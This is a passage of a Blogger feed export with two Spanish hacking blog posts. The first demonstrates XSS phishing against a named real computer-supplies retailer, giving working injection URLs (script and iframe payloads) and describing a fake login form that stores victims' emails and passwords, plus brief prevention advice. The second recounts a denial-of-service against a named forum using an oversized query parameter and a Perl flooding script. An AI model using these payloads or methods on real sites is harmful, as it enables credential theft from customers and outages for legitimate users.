vulnerables a ellos, voy a mostrar uno de sus tantos usos de engaño.&lt;br /&gt;Primero que es &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;Pishing&lt;/span&gt;, es la forma de engañar a la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_3"&gt;víctima&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_4"&gt;haciéndole&lt;/span&gt; creer que esta en un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;site&lt;/span&gt; de confianza cuando en realidad esta en uno maligno, con el fin de poder robar los datos (nombre, usuario, contraseña, numero de tarjeta de &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_6"&gt;crédito&lt;/span&gt;, etc.).&lt;br /&gt;Hay una diferencia con respecto al &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;pishing&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_8"&gt;común&lt;/span&gt; a lo que es el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;Pishing&lt;/span&gt; a través de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;XSS&lt;/span&gt;. Ejemplo: supongamos que somos cliente de un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;bancoX&lt;/span&gt;, y su pagina de ingreso es http://bancoX.com/login.php, el atacante &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_12"&gt;podría&lt;/span&gt; incentivar a la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_13"&gt;víctima&lt;/span&gt; mediante alguna forma de la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_14"&gt;ingeniería&lt;/span&gt; social que ingrese a su sitio maligno hecho por el, &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_15"&gt;ha&lt;/span&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_15"&gt;ciéndole&lt;/span&gt; creer que esta en el original, donde el sitio maligno es http://sitiomaligno/bancoX/login.php.&lt;br /&gt;Entonces una de las formas de verificar siempre si estamos ante un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;pishing&lt;/span&gt; es mirar la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_17"&gt;dirección&lt;/span&gt; de nuestro &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;browser&lt;/span&gt; y asegurarnos que estamos donde &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;quisieramos&lt;/span&gt; entrar.&lt;br /&gt;El &lt;span style="font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;Pishing&lt;/span&gt; con &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;XSS&lt;/span&gt;&lt;/span&gt;, es mucho mas eficiente, ya que el atacante aprovecha la confianza que tiene el cliente con ese dominio, y mediante la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_22"&gt;inyección&lt;/span&gt; de HTML podemos engañar a la persona pidiendo sus datos, y el usuario &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_23"&gt;podrá&lt;/span&gt; mirar la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_24"&gt;dirección&lt;/span&gt; de su &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;browser&lt;/span&gt;, y &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_26"&gt;efectiva &lt;/span&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_26"&gt;mente&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_27"&gt;estará&lt;/span&gt; &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_28"&gt;posicionado&lt;/span&gt; en el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;site&lt;/span&gt; correcto de su confianza.&lt;br /&gt;&lt;br /&gt;Para un mejor entendimiento voy a mostrar con un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;site&lt;/span&gt; real, que es el Sitio de &lt;a href="http://www.luiscuadrado.com/l"&gt;Luis A. Cuadrado&lt;/a&gt;. Esta empresa es por lejos la mas prestigioso de ventas de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;insumos&lt;/span&gt; de &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_32"&gt;informática&lt;/span&gt; en Corrientes Capital y Resistencia Chaco, pero pareciera que no le importa mucho la seguridad de sus clientes.&lt;br /&gt;Lo que me llamo la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_33"&gt;atención&lt;/span&gt; fue este enlace, &lt;a href="http://www.luiscuadrado.com/login.php"&gt;http://www.luiscuadrado.com/login.php&lt;/a&gt;, y fue cuando me &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_34"&gt;decidí&lt;/span&gt; hacer este articulo.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2cfHD1sLkI/AAAAAAAAAF4/1O6T1cPqH5k/s1600-h/cuadrado.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 181px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2cfHD1sLkI/AAAAAAAAAF4/1O6T1cPqH5k/s320/cuadrado.jpeg" alt="" id="BLOGGER_PHOTO_ID_5433345681595838018" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Siendo usuario del mismo podemos comprar  productos y donde los mismos pueden ser enviados al domicilio.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;VERIFICANDO LA FALLA&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bien la falla radica en una variable, $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;products&lt;/span&gt;_id, que lo que hace es tomar un numero hacer una consulta a su base de datos, y luego trae la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_37"&gt;información&lt;/span&gt; de el producto correspondiente. Ahora si al pasar el numero $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;products&lt;/span&gt;_id=1249, &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_39"&gt;además&lt;/span&gt; de toda la &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;info&lt;/span&gt; de dicho articulo con id=1249, el valor se imprime en pantalla sin pasar por &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_41"&gt;algún&lt;/span&gt; filtro, :).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Primer Ejemplo&lt;/span&gt;: &lt;a href="http://www.luiscuadrado.com/product_info.php?products_id=1249%20%3Cscript%3Ealert%28123%29%3C/script%3E"&gt;http://www.luiscuadrado.com/product_info.php?products_id=1249%20%3&lt;/a&gt;&lt;a href="http://www.luiscuadrado.com/product_info.php?products_id=1249%20%3Cscript%3Ealert%28123%29%3C/script%3E"&gt;Cscript%3Ealert%28123%29%3C/script%3E&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;opps&lt;/span&gt;!! &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;XSS&lt;/span&gt;!!.&lt;br /&gt;&lt;br /&gt;Ahora veamos algo mas lindo, y mas detallado lo que hice fue crear un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;script&lt;/span&gt; en &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;php&lt;/span&gt; con un formulario pidiendo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;Email&lt;/span&gt; y Clave, y que los datos se guarden en un archivo de texto, la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_47"&gt;inyección&lt;/span&gt; es mediante un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;iframe&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Segundo Ejemplo&lt;/span&gt;: &lt;a href="http://www.luiscuadrado.com/product_info.php?products_id=1249%20%3Ciframe%20src=http://www.google.com%20height=%22300%22%20width=%22800%22%3E%3C/iframe%3E"&gt;http://www.luiscuadrado.c&lt;/a&gt;&lt;a href="http://www.luiscuadrado.com/product_info.php?products_id=1249%20%3Ciframe%20src=http://www.google.com%20height=%22300%22%20width=%22800%22%3E%3C/iframe%3E"&gt;om/product_info.php?products_id=1249%20%3Ciframe%20src=http://www.google.com%20height=%22300%2&lt;/a&gt;&lt;a href="http://www.luiscuadrado.com/product_info.php?products_id=1249%20%3Ciframe%20src=http://www.google.com%20height=%22300%22%20width=%22800%22%3E%3C/iframe%3E"&gt;2%&lt;/a&gt;&lt;a href="http://www.luiscuadrado.com/product_info.php?products_id=1249%20%3Ciframe%20src=http://www.google.com%20height=%22300%22%20width=%22800%22%3E%3C/iframe%3E"&gt;20&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;width&lt;/span&gt;=%22800%22%3E%3C/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;iframe&lt;/span&gt;%3E&lt;/a&gt;&lt;a href="http://www.luiscuadrado.com/product_info.php?products_id=1249%20%3Ciframe%20src=http://www.google.com%20height=%22300%22%20width=%22800%22%3E%3C/iframe%3E"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;Google en la pagina de cuadrado! &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;je&lt;/span&gt;..&lt;br /&gt;&lt;br /&gt;Ahora &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_52"&gt;ahí&lt;/span&gt; va algo mucho mejor, que &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_53"&gt;ve&lt;/span&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_53"&gt;ndría&lt;/span&gt; hacer lo que &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_54"&gt;estábamos&lt;/span&gt; hablando insertar un formulario pidiendo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;Email y password&lt;/span&gt;..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S2c6_jXBPeI/AAAAAAAAAGI/JraOg-wrSuM/s1600-h/cuadrado4.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 181px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S2c6_jXBPeI/AAAAAAAAAGI/JraOg-wrSuM/s320/cuadrado4.jpeg" alt="" id="BLOGGER_PHOTO_ID_5433376338943753698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;Vean&lt;/span&gt; el formulario de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;logueo&lt;/span&gt;, &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_58"&gt;tranquilamente&lt;/span&gt; se puede engañar a la gente pidiendo sus claves para luego obtener el ingreso al sistema. (en este momento no esta el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"&gt;link&lt;/span&gt; ya voy a subir los &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_60"&gt;php&lt;/span&gt; que cree a un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_61"&gt;server&lt;/span&gt; amigo, para que &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_62"&gt;uds&lt;/span&gt; lo vean desde su &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_63"&gt;browser&lt;/span&gt;). Los datos quedan guardados en un archivo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_64"&gt;txt&lt;/span&gt;.&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S2dKsV_qQpI/AAAAAAAAAGg/XO8W35eyDFo/s1600-h/cuadrado5.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 181px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S2dKsV_qQpI/AAAAAAAAAGg/XO8W35eyDFo/s320/cuadrado5.jpeg" alt="" id="BLOGGER_PHOTO_ID_5433393601124647570" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_65"&gt;escenario&lt;/span&gt; esta preparado, lo &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_66"&gt;único&lt;/span&gt; que &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_67"&gt;quedaría&lt;/span&gt; es usar la &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_68"&gt;imaginacion&lt;/span&gt; para engañar a sus clientes. Y &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_69"&gt;quizás&lt;/span&gt; tener algunos &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_70"&gt;insumos&lt;/span&gt; de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_71"&gt;informatica&lt;/span&gt; mas!! &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_72"&gt;xD&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_73"&gt;Prevencion&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;Todas las variables mostradas por pantalla &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_74"&gt;deberían&lt;/span&gt; ser pasadas por filtro, para no tener este tipo de problema, &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_75"&gt;obviamente&lt;/span&gt; que todo depende de la calidad del programador, ya que no solo nos enfrentamos con &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_76"&gt;XSS&lt;/span&gt;, sino &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_77"&gt;también&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_78"&gt;CRSF&lt;/span&gt; o &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_79"&gt;XSRF&lt;/span&gt;, donde el que sale perjudicado es el usuario final.&lt;br /&gt;Recomiendo usar agregados como &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_80"&gt;Noscript&lt;/span&gt; para el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_81"&gt;firefox&lt;/span&gt;, y siempre estar atento los posibles &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_82"&gt;mail&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_83"&gt;sms&lt;/span&gt;, mensajes por &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_84"&gt;msn&lt;/span&gt;, que nos &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_85"&gt;envien&lt;/span&gt; a un sitio donde somos usuarios y pidan nuestros datos por alguna &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_86"&gt;razon&lt;/span&gt; X, estar seguro que donde estamos es quien dice ser.!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Mas &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_87"&gt;Documentación &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;a href="http://itfreekzone.blogspot.com/2009/12/cruzando-informacion-cross-site.html"&gt;http://itfreekzone.blogspot.com/2009/12/cruzando-informacion-cross-site.html&lt;/a&gt;&lt;span style="font-weight: bold;"&gt;&lt;a href="http://itfreekzone.blogspot.com/2009/12/cruzando-informacion-cross-site.html"&gt;&lt;br /&gt;&lt;/a&gt;&lt;/span&gt;&lt;a href="http://itfreekzone.blogspot.com/2009/12/rompiendo-lo-grande-xss-avanzado.html"&gt;&lt;br /&gt;http://itfreekzone.blogspot.com/2009/12/rompiendo-lo-grande-xss-avanzado.html&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Saludos!!&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-104354705474616915?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/104354705474616915/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2010/02/pishing-traves-de-xss-poc-luis-cuadrado.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/104354705474616915'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/104354705474616915'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2010/02/pishing-traves-de-xss-poc-luis-cuadrado.html' title='Pishing a través de XSS (POC Luis A. Cuadrado)'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2cfHD1sLkI/AAAAAAAAAF4/1O6T1cPqH5k/s72-c/cuadrado.jpeg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-4541788715284110364</id><published>2010-01-19T21:41:00.000-08:00</published><updated>2010-01-19T22:24:32.026-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='elhacker.net'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><title type='text'>Denial of Service elhacker.net</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S1aebAujXvI/AAAAAAAAAFw/bG4Pondx0eU/s1600-h/logo.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 128px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/S1aebAujXvI/AAAAAAAAAFw/bG4Pondx0eU/s320/logo.jpg" alt="" id="BLOGGER_PHOTO_ID_5428700587730624242" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;En seguridad informática, un ataque de denegación de s&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_0"&gt;envicio&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_1"&gt;tamb&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;ién&lt;/span&gt; llamado ataque &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;DoS&lt;/span&gt; (de las siglas en inglés &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;Denial&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;of&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;Service&lt;/span&gt;), es un ataque a un sistema de computadoras o red que causa que un servicio o recurso sea inaccesible a los usuarios legítimos. Normalmente provoca la &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;pér&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;dida&lt;/span&gt; de la &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;conectividad&lt;/span&gt; de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;computacion&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;ales&lt;/span&gt; del sistema de la víctima.&lt;/span&gt; &lt;span style="font-style: italic;"&gt; Se genera mediante la saturación de los &lt;/span&gt;&lt;span style="font-style: italic;"&gt;puertos con flujo de &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;infor&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;mación&lt;/span&gt;, haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le dice “denegación”.&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-style: italic;"&gt;                                                         &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;Estracto&lt;/span&gt; de &lt;a href="http://www.delincuentedigital.com.ar/2010/01/denial-of-service-a-wwwelhackernet.aspx"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;Daniel&lt;/span&gt;, &lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;Bien ahora que hay una idea de lo que es un DOS y como &lt;/span&gt;&lt;span style="font-style: italic;"&gt;bien dice el titulo es lo que se hizo.&lt;br /&gt;Ayer por la noche &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;Daniel&lt;/span&gt; Godoy me &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_17"&gt;mostró&lt;/span&gt; un e&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;nlace&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;qwe&lt;/span&gt; los chicos del &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;staff&lt;/span&gt; del &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;elHacker&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;net&lt;/span&gt; dejaron al descubierto donde se &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_23"&gt;podía&lt;/span&gt; llegar a modificar la cantidad de consultas a mostrar al usuario. El enlace es este&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;http://foro.elhacker.net/SSI.php?ssi_funct&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;ion=b&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;oardNewsTitulares&lt;/span&gt;;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;board&lt;/span&gt;=34;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;start&lt;/span&gt;=1;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;limit&lt;/span&gt;=1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;ahora que &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_28"&gt;pasaría&lt;/span&gt; si nosotros colocamos en el valor de la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_29"&gt;variable&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;limit&lt;/span&gt; un numero &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;muchisimo&lt;/span&gt; mas grande que 1, &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_32"&gt;quedaría&lt;/span&gt; algo &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_33"&gt;así&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;http://foro.elhacker.net/SSI.php?ssi_function=b&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;oardNewsTitulares&lt;/span&gt;;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_35"&gt;board&lt;/span&gt;=34;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;start&lt;/span&gt;=1;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;limit&lt;/span&gt;=99999999999999999999999&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;999999&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;99999&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt; 99999999999999999999999999999999999999&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt; 99999999999999999999999999999999999999&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt; 99999999999999999999999999999999999999&lt;/span&gt; &lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt; 99&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-weight: bold;"&gt;999999999999999999&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;al ejecutar esa &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_38"&gt;petición&lt;/span&gt; en el servidor se nota un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;delay&lt;/span&gt; en el mismo, la &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_40"&gt;cuestión&lt;/span&gt; es que &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_41"&gt;pasaría&lt;/span&gt; si en vez de enviar una consulta de este tipo por segundo enviamos &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;muchisimas&lt;/span&gt; mas, se &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_43"&gt;llegaría&lt;/span&gt; a provocar un DOS, para reafirmar nuestra &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_44"&gt;teoría&lt;/span&gt; me codee un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;script&lt;/span&gt; en &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;perl&lt;/span&gt; que haga eso. En &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_47"&gt;cuestión&lt;/span&gt; de segundos  pudimos empezar a ver los resultados.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S1aagWxBwzI/AAAAAAAAAFI/gdY_T50PmMI/s1600-h/hacker.net.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 181px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S1aagWxBwzI/AAAAAAAAAFI/gdY_T50PmMI/s320/hacker.net.jpeg" alt="" id="BLOGGER_PHOTO_ID_5428696281499419442" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S1aa1c-pI5I/AAAAAAAAAFQ/wXOSZSto66U/s1600-h/hacker.net4.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 181px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/S1aa1c-pI5I/AAAAAAAAAFQ/wXOSZSto66U/s320/hacker.net4.jpeg" alt="" id="BLOGGER_PHOTO_ID_5428696643944391570" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S1abECbQEKI/AAAAAAAAAFY/G8VRC-MkajI/s1600-h/hacker.net6.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 181px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S1abECbQEKI/AAAAAAAAAFY/G8VRC-MkajI/s320/hacker.net6.jpeg" alt="" id="BLOGGER_PHOTO_ID_5428696894514663586" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/S1aca5th-KI/AAAAAAAAAFg/0_6oPLNEIec/s1600-h/hacker.net2.jpeg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 181px;" 